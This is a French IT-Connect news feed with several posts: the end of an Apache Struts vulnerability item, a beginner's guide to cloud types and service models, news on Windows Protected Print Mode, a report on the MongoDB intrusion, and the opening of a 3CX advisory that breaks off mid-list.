<p><strong>Pour être protégé, il faut utiliser Apache Struts 2.5.33, Apache Struts 6.3.0.2 ou supérieur.</strong> Une grosse partie du travail est à réaliser par les éditeurs de solution directement... Amis développeurs, nous comptons sur vous ! En 2017, une vulnérabilité présente dans Apache Struts avait été à l'origine d'une cyberattaque chez Equifax.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/hackers-are-exploiting-critical-apache-struts-flaw-using-public-poc/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/les-cybercriminels-exploitent-activement-la-faille-critique-decouverte-dans-apache-struts/">Les cybercriminels exploitent activement la faille critique découverte dans Apache Struts !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=70559
title: Le Cloud Computing pour les débutants : Cloud privé, public, hybride, etc.
uri: Le-Cloud-Computing-pour-les-débutants-Cloud-privé-public-hybride
url: https://www.it-connect.fr/le-cloud-computing-pour-les-debutants/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, nous allons introduire un sujet très populaire : le Cloud Computing ! Nous allons évoquer en quoi consiste le Cloud mais également quels sont les types de Cloud et les modèles de services Cloud.</strong> L'objectif étant d'introduire ces notions de manière théorique tout en agrémentant l'article avec différents exemples.</p>



<ul>
<li><a href="https://youtu.be/Cd82kSqYzH4" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/Cd82kSqYzH4?si=bWd3t7XH4lpfL8mE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>Le Cloud Computing est un sujet vaste sur lequel nous pouvons écrire des pages et des pages : allons à l'essentiel pour ce premier article !</p>



<h2 class="wp-block-heading">II. Qu'est-ce que le Cloud ?</h2>



<h3 class="wp-block-heading">A. Définition du Cloud Computing</h3>



<p>Le <strong>Cloud Computing</strong>, que l'on peut traduire en français par "<em>informatique dans les nuages</em>", ne correspond pas à un objet que vous pourrez apercevoir par la fenêtre de votre bureau ! Plus sérieusement, le<strong> Cloud correspond à un modèle de mise à disposition, à la demande, de ressources informatiques en tant que services.</strong> Généralement, même si ceci peut varier en fonction du type de Cloud, nous accédons à ses ressources informatiques au travers d'un réseau étendu que vous connaissez tous : <strong>Internet</strong>.</p>


<div class="wp-block-image">
<figure class="alignright size-full"><img fetchpriority="high" decoding="async" width="300" height="251" src="media/23874d31.Definition-Cloud-Computing.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Definition-Cloud-Computing.png" alt="Définition Cloud Computing" class="wp-image-70643" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Definition-Cloud-Computing.png 300w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Definition-Cloud-Computing-150x126.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Definition-Cloud-Computing-50x42.png 50w" sizes="(max-width: 300px) 100vw, 300px" /></figure></div>


<p>Si vous préférez, le Cloud correspond à un <strong>modèle de consommation des ressources informatiques</strong>, au même titre que l'on va "<em>consommer des ressources</em>" de la vie quotidienne comme l'électricité, le gaz ou encore l'eau, à la demande, tout en payant en fonction des consommations. Ici, il s'agit de consommer des services, des applications, etc.</p>



<p>De ce fait, au lieu de disposer de ses propres ressources matérielles, que ce soit les serveurs, le stockage, etc... dans ses locaux, chaque entreprise peut <strong>les louer auprès d'un fournisseur de services Cloud</strong>. Ainsi, avec le Cloud, nous allons pouvoir <strong>consommer </strong>de la puissance de calcul (<em>compute</em>), du stockage, des serveurs, des applications, etc. Ceci correspond à des modèles de service Cloud que nous évoquerons par la suite.</p>



<p>Depuis quelques années, <strong>le Cloud est devenu incontournable et tous les jours ou presque, nous utilisons des services dans le Cloud.</strong> En effet, il est utilisé par les particuliers, par les entreprises, par les gouvernements, etc... Que ce soit pour stocker des données, bénéficier de serveurs d'infrastructure ou accéder à une application.</p>



<h3 class="wp-block-heading">B. Les principales caractéristiques du Cloud</h3>



<p>Les principales caractéristiques du Cloud Computing, que l'on peut voir comme des avantages, sont les suivantes :</p>



<ol>
<li><strong>Service et accès à la demande :</strong> les utilisateurs peuvent accéder aux ressources cloud à la demande, quand ils veulent et d'où ils veulent à partir d'une connexion Internet.</li>



<li><strong>Évolutivité :</strong> les services cloud offrent une grande élasticité, ce qui permet de faire évoluer rapidement les ressources en fonction de la demande : que ce soit pour augmenter ou diminuer les ressources. Le Cloud est avantageux en termes de <em>scalabilité</em>. Autrement dit, les utilisateurs peuvent facilement augmenter ou réduire leurs ressources informatiques en fonction de leurs besoins, sans avoir à investir massivement dans du matériel ou une infrastructure coûteuse.</li>



<li><strong>Paiement à l'utilisation / à la consommation :</strong> les utilisateurs ne paient que pour les ressources qu'ils consomment réellement, ce qui peut s'avérer plus économique que l'achat, la gestion et la maintenance de leur propre infrastructure informatique (sans parler de l'amortissement de cet investissement). Vous devez considérer que le Cloud Computing est un service mesurable.</li>



<li><strong>Mutualisation des ressources</strong> : le fournisseur de Cloud mutualise les ressources (<em>calcul, mémoire, stockage, bande passante, réseau, etc...</em>) pour l'ensemble de ses clients dans le but de les allouer en fonction de la demande. Le matériel d'une infrastructure est optimisé pour être utilisé au maximum de sa capacité, tout en fournissant un service de qualité.</li>



<li><strong>Sécurité et disponibilité </strong>: un service Cloud se doit d'être sécurisé afin de faire face aux cyberattaques et aux incidents liés à des catastrophes naturelles. Le Cloud repose sur du matériel hébergé en datacenters (centres de données), ce qui lui permet d'être protégé contre les inondations, les coupures électriques, les incendies, etc... (même si le risque zéro n'existe pas !). Certains fournisseurs ont la certification ISO 27001, ainsi que la certification HDS permettant d'héberger des données liées à la santé.</li>
</ol>



<h2 class="wp-block-heading">III. Les types de Cloud : public, privé et hybride</h2>



<p>Maintenant que nous avons une compréhension générale du Cloud Computing, il est temps d'explorer <strong>les différents types de Cloud </strong>qui existent : le Cloud public, le Cloud privé, le Cloud hybride, sans oublier le multicloud !</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="256" src="media/d18c76d5.Cloud-public-cloud-prive-cloud-hybride.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Cloud-public-cloud-prive-cloud-hybride.png" alt="Cloud public cloud privé cloud hybride" class="wp-image-70645" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Cloud-public-cloud-prive-cloud-hybride.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Cloud-public-cloud-prive-cloud-hybride-550x176.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Cloud-public-cloud-prive-cloud-hybride-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Cloud-public-cloud-prive-cloud-hybride-768x246.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Cloud-public-cloud-prive-cloud-hybride-50x16.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<h3 class="wp-block-heading">A. Le Cloud public</h3>



<p><strong>Le Cloud public est le type de Cloud le plus couramment utilisé.</strong> Il fait référence à des ressources informatiques mutualisées et ouvertes à tous les utilisateurs par l'intermédiaire d'Internet. Avec un Cloud public, l'infrastructure est toujours externalisée chez un fournisseur tiers, au sein d'un ou plusieurs datacenters. L'infrastructure appartient au fournisseur de services Cloud et il doit la gérer au quotidien. <strong>Les ressources matérielles sont mutualisées entre tous les clients du fournisseur de services Cloud.</strong> L'accès aux ressources du Cloud public s'effectue via Internet.</p>



<p>Les fournisseurs de Cloud public, tels qu'Amazon Web Services (AWS), Microsoft Azure, Google Cloud, IBM Cloud, qui sont parmi les plus connus, investissent massivement dans le matériel, la création de centres de données et de réseaux sécurisés et redondants, ainsi que la création de nouveaux services pour répondre aux besoins de leurs clients et apporter un service de qualité.</p>



<p>Lorsque l'on parle de Cloud public, <strong>la confidentialité des données </strong>est un sujet qui revient souvent sur la table. De ce fait, les fournisseurs de services Cloud, notamment du côté des solutions américaines, font leur possible pour rassurer les entreprises et les autorités.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="450" src="media/32b36660.Schema-Cloud-public.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-public.jpg" alt="Schéma Cloud public" class="wp-image-70655" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-public.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-public-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-public-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-public-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-public-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<h3 class="wp-block-heading">B. Le Cloud privé</h3>



<p><strong>Le Cloud privé fait référence à une infrastructure dédiée à une seule entreprise.</strong> Autrement dit, un ensemble de ressources de l'hébergeur Cloud sont réservées à l'usage d'une seule entreprise. En fait, il y a<strong> une notion d'exclusivité dans l'utilisation des ressources</strong>. Il peut être géré en interne par l'organisation elle-même ou par un fournisseur de services externe. Avec le Cloud privé, vous garder la main sur l'infrastructure, ce qui est un plus du point de vue de la confidentialité des données ! Pour accéder à cet environnement, vous pouvez utiliser Internet ou un réseau privé (via un VPN, par exemple).</p>



<p>Par exemple, le français OVHcloud propose des offres de Cloud privé où vous pouvez bénéficier d'une infrastructure complète sur VMware avec plusieurs hyperviseurs et un serveur vCenter. On parle d'<em>Hosted Private Cloud</em>.</p>



<p><strong>Le Cloud privé nécessite des investissements plus importants en termes d'infrastructure et de maintenance.</strong> Toutefois, il permet à l'entreprise d'avoir plus de contrôle et de flexibilité puisque l'environnement est personnalisable à souhait.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="450" src="media/7f891087.Schema-Cloud-prive.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-prive.jpg" alt="Schéma Cloud privé" class="wp-image-70663" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-prive.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-prive-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-prive-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-prive-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-prive-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<h3 class="wp-block-heading">C. Le Cloud hybride</h3>



<p>Au-delà d'être tendance, le <a href="https://www.it-connect.fr/quest-ce-que-le-cloud-hybride/" target="_blank" rel="noopener" title="Qu’est-ce que le Cloud hybride ?">Cloud hybride</a>  (<em>Hybrid Cloud</em>) est un mix entre Cloud public et Cloud privé, donc il combine à la fois des ressources d'un Cloud public et d'un Cloud privé. Il permet aux organisations de tirer parti des avantages des deux types de Cloud. </p>



<p>Une entreprise peut utiliser un Cloud public pour des charges de travail moins sensibles et un Cloud privé pour des données plus sensibles nécessitant une sécurité accrue. Le Cloud hybride offre une plus grande flexibilité et permet aux organisations de s'adapter plus rapidement : pour faire face à un pic de charge, notamment. Par exemple, pour un site de e-commerce, la flexibilité et l'élasticité du Cloud public seront avantageuses. En effet, le Cloud public bénéficie d'une meilleure scalabilité que le Cloud privé.</p>



<p>Aujourd'hui, <strong>le mode Cloud hybride plaît aux entreprises, car il permet de trouver un bon compromis entre flexibilité, gestion des coûts, confidentialité et sécurité</strong>, à condition d'utiliser une solution de Cloud hybride pour réduire la complexité de gestion de plusieurs Cloud.</p>



<p>Du côté de Microsoft, <a href="https://azure.microsoft.com/fr-fr/solutions/hybrid-cloud-app" target="_blank" rel="noopener nofollow" title="">la solution Azure Arc</a> est proposée pour gérer les architectures Cloud hybrides voire même multicloud.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="450" src="media/63786941.Schema-Cloud-hybride.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-hybride.jpg" alt="Schéma Cloud hybride" class="wp-image-70665" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-hybride.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-hybride-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-hybride-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-hybride-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-Cloud-hybride-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<h3 class="wp-block-heading">D. Le Multicloud</h3>



<p>Pour terminer sur les types de Cloud, parlons de l'approche multicloud qui fait référence à l'utilisation de plusieurs fournisseurs de services Cloud pour répondre aux besoins d'une organisation. Il peut s'agit de plusieurs Cloud publics ou de plusieurs Cloud privés. Cette notion est importante, car on peut s'appuyer sur plusieurs fournisseurs de services Cloud pour ses besoins, ce qui permettra de profiter des avantages des uns et des autres.</p>



<p>Pour les entreprises, <strong>le multicloud est intéressant en termes de résilience et d'évolutivité,</strong> mais il va aussi complexifier la gestion puisque vous aurez plusieurs environnements à gérer.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="450" src="media/b11e891a.Schema-multicloud.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-multicloud.jpg" alt="Schéma multicloud" class="wp-image-70667" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-multicloud.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-multicloud-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-multicloud-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-multicloud-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Schema-multicloud-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<h2 class="wp-block-heading">IV. Les modèles de service Cloud</h2>



<p>Lorsque vous travaillez sur un projet Cloud ou que vous recherchez des informations sur le Cloud, vous verrez apparaître différents sigles comme : IaaS, PaaS, ou encore SaaS. Il s'agit de modèles de service Cloud, que nous allons découvrir dans cette partie de l'article.</p>



<h3 class="wp-block-heading">A. Infrastructure as a Service (IaaS)</h3>



<p>Le modèle "<em>Infrastructure as a Service</em>" (IaaS), que l'on peut traduire par "<em>Infrastructure en tant que service</em>" est un modèle qui fournit aux utilisateurs des ressources informatiques complètes. Ceci signifie que les utilisateurs ont un contrôle total sur l'infrastructure sous-jacent : ils peuvent et doivent la gérer, la configurer. </p>



<p>Par exemple, l'accès à un ou plusieurs serveurs physiques ou virtuels, ou à du stockage. Si l'on prend l'exemple d'une machine virtuelle, l'utilisateur pourra installer le système d'exploitation de son choix et il devra en effectuer lui-même la configuration (installation d'une ou plusieurs applications, configuration du système, maintenance, etc.). C'est idéal pour déployer une application personnalisée et avoir la maitrise complète de l'environnement.</p>



<p>Nous pouvons citer des fournisseurs comme <strong>AWS</strong> (Amazon Web Services), <strong>Microsoft Azure</strong>, <strong>Google Cloud, Oracle Cloud </strong>ou encore le français <strong>OVHcloud</strong>. Toutefois, gardez à l'esprit que certains fournisseurs peuvent proposer plusieurs modèles de services Cloud.</p>



<h3 class="wp-block-heading">B. Platform as a Service (PaaS)</h3>



<p>Le modèle "<em>Platform as a Service</em>" (PaaS), que l'on peut traduire par <em>"Plateforme en tant que service"</em> est un modèle qui fournit aux utilisateurs un environnement complet prêt à l'emploi. Cet environnement peut être en tant que plateforme de développement ou pour déployer des applications.</p>



<p> Avec le PaaS, les utilisateurs peuvent développer, tester et déployer des applications sans avoir à se soucier de l'infrastructure sous-jacente. Il s'agit d'une différence importante vis-à-vis de l'IaaS, car avec le PaaS, nous n'avons pas à nous soucier de l'infrastructure : elle est mise à disposition du fournisseur Cloud.</p>



<p>Quelques exemples : Red Hat OpenShift, Microsoft Azure, Heroku.</p>



<h3 class="wp-block-heading">C. Software as a Service (SaaS)</h3>



<p>Le modèle "<em>Software as a Service</em>" (SaaS), que l'on peut traduire par <em>"Logiciel en tant que service"</em> est un modèle qui fournit aux utilisateurs une application prête à l'emploi, accessible via Internet. Ainsi, les utilisateurs n'ont pas besoin d'installer, de gérer, ni de maintenir l'application et toute l'infrastructure sous-jacente : ils se concentrent sur l'utilisation et la configuration de l'application pour se l'approprier selon ses besoins.</p>



<p>Les utilisateurs peuvent accéder aux applications via un navigateur Web ou un client applicatif spécifique, que ce soit depuis un ordinateur ou un appareil mobile (smartphone, tablette).</p>



<p>De son côté, le fournisseur de services Cloud est en charge de la maintenance (mises à jour de l'application et du système d'exploitation) et de la disponibilité de l'application et de son infrastructure sous-jacente.</p>



<p>Le modèle SaaS est très à la mode et les exemples sont très nombreux :<strong> la messagerie électronique, le stockage en ligne, la gestion de projet, la gestion de la relation client, l'édition de documents en ligne, la visioconférence, etc... </strong>Voici quelques exemples de services de type "SaaS" : Microsoft 365, Dropbox, OneDrive, Cisco WebEx, DocuSign, Brevo, Wrike, Canva, Trello, Zoom, ServiceNow, etc...</p>



<h3 class="wp-block-heading">D. Comparatif des modèles de service Cloud</h3>



<p><strong>Vous l'avez surement compris : entre les différents modèles de service Cloud, la responsabilité est répartie entre le client et le fournisseur de services Cloud de façon différente pour chaque modèle. </strong></p>



<p>Le schéma ci-dessous permet de mieux visualiser la différence entre ces modèles de service, en intégrant également<strong> les infrastructures <em>on-premise</em> (sur site) où toute la gestion revient à l'entreprise </strong>(de l'achat à la gestion technique quotidienne grâce, notamment, aux administrateurs systèmes et réseau).</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="450" src="media/8f7ebdce.Comparatif-des-modeles-de-service-Cloud-IaaS-PaaS-SaaS.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comparatif-des-modeles-de-service-Cloud-IaaS-PaaS-SaaS.jpg" alt="Comparatif des modèles de service Cloud" class="wp-image-73581" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comparatif-des-modeles-de-service-Cloud-IaaS-PaaS-SaaS.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comparatif-des-modeles-de-service-Cloud-IaaS-PaaS-SaaS-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comparatif-des-modeles-de-service-Cloud-IaaS-PaaS-SaaS-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comparatif-des-modeles-de-service-Cloud-IaaS-PaaS-SaaS-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Comparatif-des-modeles-de-service-Cloud-IaaS-PaaS-SaaS-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">E. Everything as a service (XaaS)</h3>



<p>Le modèle <em>Everything as a service</em>, que l'on appelle aussi <em>Anything as a service</em>, ou <em>Tout en tant que service</em> en français, montre à quel point le Cloud s'est diversifié ces dernières années et le "<em>as a service</em>" est devenu un véritable terme commercial.</p>



<p>On peut citer quelques exemples, mais cette liste est très loin d'être exhaustive :</p>



<ul>
<li><strong>Desktop as a Service (DaaS)</strong> correspond à l'externalisation d'une solution VDI (<em>Virtual Desktop Infrastructure</em>) dans le Cloud, où l'utilisateur peut accéder directement à un bureau virtuel à distance (une session sur un système d'exploitation).</li>



<li><strong>Communications as a Service (CaaS) </strong>est un modèle qui fait référence aux services de communication basés sur Internet (téléphonie par Internet, visioconférence, etc.)</li>



<li><strong>Database as a service (DBaaS)</strong> fait référence à la mise à disposition d'un système de bases de données via le Cloud</li>



<li><strong><a href="https://www.it-connect.fr/les-tunnels-vpn-pour-les-debutants/">VPN</a> as a Service (VPNaaS) </strong>lorsque le VPN est proposé sous la forme d'un service</li>



<li><strong>Ransomware as a service (RaaS)</strong> fait référence à un modèle utilisé par les cybercriminels qui offrent la possibilité de louer un logiciel malveillant de type ransomware et toute l'infrastructure associée.</li>
</ul>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>Suite à la lecture de cet article, vous devriez être en mesure de <strong>mieux comprendre les grands principes du Cloud</strong> et de<strong> faire la différence entre les types de Cloud </strong>ainsi que les <strong>principaux modèles de services</strong>.</p>



<p><em>Merci à Clément Haurogné qui a pris le temps de relire cet article avant la publication.</em></p><p>The post <a href="https://www.it-connect.fr/le-cloud-computing-pour-les-debutants/">Le Cloud Computing pour les débutants : Cloud privé, public, hybride, etc.</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73676
title: Microsoft veut sécuriser l’impression sous Windows avec « Windows Protected Print Mode »
uri: Microsoft-veut-sécuriser-l-impression-sous-Windows-avec-Windows
url:
https://www.it-connect.fr/microsoft-veut-securiser-limpression-sous-windows-avec-windows-protected-print-mode/

content:
<p><strong>Microsoft a dévoilé un nouveau système d'impression plus sécurisé pour son système d'exploitation Windows : "Windows Protected Print Mode". Faisons le point sur cette annonce !</strong></p>



<p>Le service Spouleur d'impression de Windows est régulièrement impacté par des vulnérabilités, et d'ailleurs en 2021, la<strong> faille de sécurité baptisée PrintNightmare </strong>avait fait beaucoup parler d'elle... C'est l'une des raisons pour lesquelles Microsoft a pris la décision de travailler sur un <strong>nouveau système d'impression plus sécurisé pour Windows</strong>. "<em>Les bugs d'impression ont joué un rôle dans Stuxnet et Print Nightmare, et représentent 9% de tous les cas de Windows signalés au MSRC.</em>", peut-on lire sur le<a href="https://techcommunity.microsoft.com/t5/security-compliance-and-identity/a-new-modern-and-secure-print-experience-from-windows/ba-p/4002645?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title=""> site de Microsoft</a>.</p>



<h2 class="wp-block-heading">Windows Protected Print Mode (WPP)</h2>



<p>L'équipe MORSE (<em>Offensive Research &amp; Security Engineering</em>) de Microsoft a analysé tous les cas remontés au MSRC liés à la fonction d'impression de Windows. Résultat, le nouveau mode d'impression Windows Protected Print Mode permet de protéger l'utilisateur de plus de la moitié des vulnérabilités impliquées dans ces incidents de sécurité. WPP est déjà présent dans les dernières builds de Windows, afin qu'il puisse être testé.</p>



<p>Ainsi, Windows Protected Print Mode intègre plusieurs mesures de sécurité :</p>



<p>- Le service d'impression ne s'exécutera plus en tant que SYSTEM, mais avec un compte de service dédié ayant des permissions restreintes. Ceci est très important, car le service d'impression deviendra moins "attractif" d'un point de vue d'un attaquant.</p>



<p>-<strong> Un port d'imprimante ne pourra plus être détourné pour charger une DLL malveillante</strong> : "<em>De nombreuses API anciennes ont été mises à jour pour limiter la configuration à des valeurs qui n'ont de sens que dans le cadre de l'utilisation d'IPP. Cela limitera les possibilités pour les attaquants d'utiliser le Spooler pour modifier des fichiers sur le système.</em>"</p>



<p>- <strong>Le rendu XPS (<em>XPS rendering</em>) sera exécuté en tant qu'utilisateur au lieu du compte SYSTEM</strong>. Ceci va également permettre de minimiser l'impact d'une éventuelle faille de sécurité.</p>



<p>- <strong>WPP sera capable d'indiquer clairement à l'utilisateur si le trafic entre l'appareil Windows et l'imprimante est chiffré ou non</strong>. "<em>La WPP indiquera clairement aux utilisateurs quand leur trafic est chiffré et, dans la mesure du possible, les encouragera à activer le chiffrement des flux</em>".</p>



<p>- <strong>Le blocage des pilotes et des binaires tiers</strong> : "<em>WPP s'appuie sur la pile d'impression IPP existante, où seules les imprimantes certifiées Mopria sont prises en charge, et désactive la possibilité de charger des pilotes tiers.</em>"</p>



<p>Ce qui va permettre à Microsoft d'activer des mesures de protection supplémentaires pour protéger les binaires :</p>



<ul>
<li><strong>Technologie d'application du flux de contrôle (CFG, CET)</strong> - Atténuation matérielle qui permet de limiter les attaques basées sur la technique <em>Return Oriented Programming (ROP</em>).</li>



<li><strong>Désactivation de la création de processus enfant </strong>- La création de processus enfant est bloquée. Cela empêche les attaquants de créer un nouveau processus s'ils parviennent à faire exécuter du code dans le Spouleur d'impression.</li>



<li><strong>Redirection Guard</strong> - empêche de nombreuses attaques de type "<em>path redirection</em>" qui ciblent souvent le spouleur d'impression.</li>



<li><strong>Arbitrary Code Guard</strong> - empêche la génération de code dynamique au sein d'un processus.</li>
</ul>



<p>Cette décision fait suite à une précédente annonce de l'entreprise américaine afin d'arrêter la diffusion des pilotes d'impression tiers via Windows Update. Il s'agit d'un plan sur plusieurs années. À partir de 2025, aucun nouveau pilote d'imprimante ne sera publié dans Windows Update (mais les pilotes existants pourront continuer à être mis à jour). Nous en avions parlé dans cet article :</p>



<ul>
<li><a href="https://www.it-connect.fr/microsoft-va-arreter-dinstaller-des-pilotes-dimprimantes-tiers-via-windows-update/" target="_blank" rel="noopener" title="">Microsoft va arrêter d'installer des pilotes d'imprimantes tiers via Windows Update</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/microsoft-veut-securiser-limpression-sous-windows-avec-windows-protected-print-mode/">Microsoft veut sécuriser l’impression sous Windows avec « Windows Protected Print Mode »</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73691
title: Cyberattaque chez MongoDB : voici ce que l’on sait !
uri: Cyberattaque-chez-MongoDB-voici-ce-que-l-on-sait
url: https://www.it-connect.fr/cyberattaque-chez-mongodb-voici-ce-que-lon-sait/
content:
<p><strong>Cyberattaque chez MongoDB ! Les pirates sont parvenus à compromettre le système informatique de MongoDB et à accéder à des informations de clients ! Voici ce que l'on fait sur cet incident de sécurité !</strong></p>



<p>MongoDB est un système de gestion de base de données, au même titre que MySQL et d'autres solutions, même si MongoDB est totalement différent, car il s'agit d'un système de bases de données NoSQL (bases de données sans tables relationnelles). D'ailleurs, MongoDB est probablement le système NoSQL le plus populaire aujourd'hui...</p>



<p>Lena Smart, la CISO de MongoDB, a envoyé un e-mail aux clients de MongoDB pour les informer qu'<strong>une intrusion a été détecté mercredi 13 décembre 2023</strong>, dans la soirée, au sein du système informatique de l'entreprise. "<em>MongoDB enquête sur un incident de sécurité impliquant un accès non autorisé à certains systèmes de l'entreprise de MongoDB.</em>", pouvons-nous lire dans cet e-mail.</p>



<p>D'après MongoDB, <strong>les pirates sont parvenus à accéder aux métadonnées des comptes clients, ainsi qu'aux informations de contacts</strong> (numéros de téléphone, adresses électroniques, noms de clients). Les journaux système d'un seul client seraient également entre les mains des pirates.</p>



<p>Par ailleurs, il est précisé ce qui suit : "<em>À ce jour, nous n'avons trouvé aucune preuve d'un accès non autorisé aux clusters MongoDB Atlas.</em> [...] <em>Il est important de noter que l'accès au cluster MongoDB Atlas est authentifié via un système distinct des systèmes de l'entreprise MongoDB, et nous n'avons trouvé aucune preuve que le système d'authentification du cluster Atlas a été compromis.</em> - <strong>MongoDB Atlas </strong>étant un service de <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/bdd/" target="_blank" rel="noopener" title="base de données" data-wpil-keyword-link="linked">base de données</a> multicloud, si les pirates parvenaient à accéder aux données de ce service, cela pourrait être dramatique.</p>



<p>Pour le moment, les investigations sont toujours en cours afin de déterminer les conséquences exactes de cette cyberattaque. Pour suivre l'évolution de cet incident de sécurité, vous pouvez consulter <a href="https://www.mongodb.com/alerts" target="_blank" rel="noopener nofollow" title="">cette page</a> puisqu'elle est utilisée par MongoDB pour partager les dernières informations sur cet incident.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/mongodb-says-customer-data-was-exposed-in-a-cyberattack/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/cyberattaque-chez-mongodb-voici-ce-que-lon-sait/">Cyberattaque chez MongoDB : voici ce que l’on sait !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73699
title: 3CX demande à ses utilisateurs de désactiver cette intégration, à cause d’une faille potentielle !
uri: 3CX-demande-à-ses-utilisateurs-de-désactiver-cette-intégration-à
url:
https://www.it-connect.fr/3cx-demande-a-ses-utilisateurs-de-desactiver-cette-integration-a-cause-dune-faille-potentielle/

content:
<p><strong>3CX a mis en ligne un bulletin de sécurité pour demander à ses clients de désactiver temporairement l'intégration avec les systèmes de bases de données. Pourquoi ? Et bien, parce qu'il y a une suspicion de vulnérabilité, donc il s'agit d'une mesure préventive. Voici ce que l'on sait.</strong></p>



<p>Spécialisé dans les solutions de communication pour les entreprises, <strong>3CX </strong>est un acteur important sur le marché avec<strong> plus de 600 000 clients dans le monde entier</strong>. Alors forcément, quand cette solution est affectée par une potentielle faille de sécurité, on s'y intéresse de près.</p>



<p>Vendredi 15 décembre 2023, un bulletin de sécurité intitulé "<em>Désactivez vos intégrations de bases de données SQL</em>" a été publié sur le<a href="https://www.3cx.com/blog/news/sql-database-integration/" target="_blank" rel="noopener nofollow" title=""> site officiel de 3CX</a>. 3CX explique que <strong>seul 0.25% de ses clients sont potentiellement impactés par cette vulnérabilité</strong>. En effet, ceci concerne uniquement les installations avec une configuration spécifique basée sur l'une des intégrations suivantes :</p>



<ul>
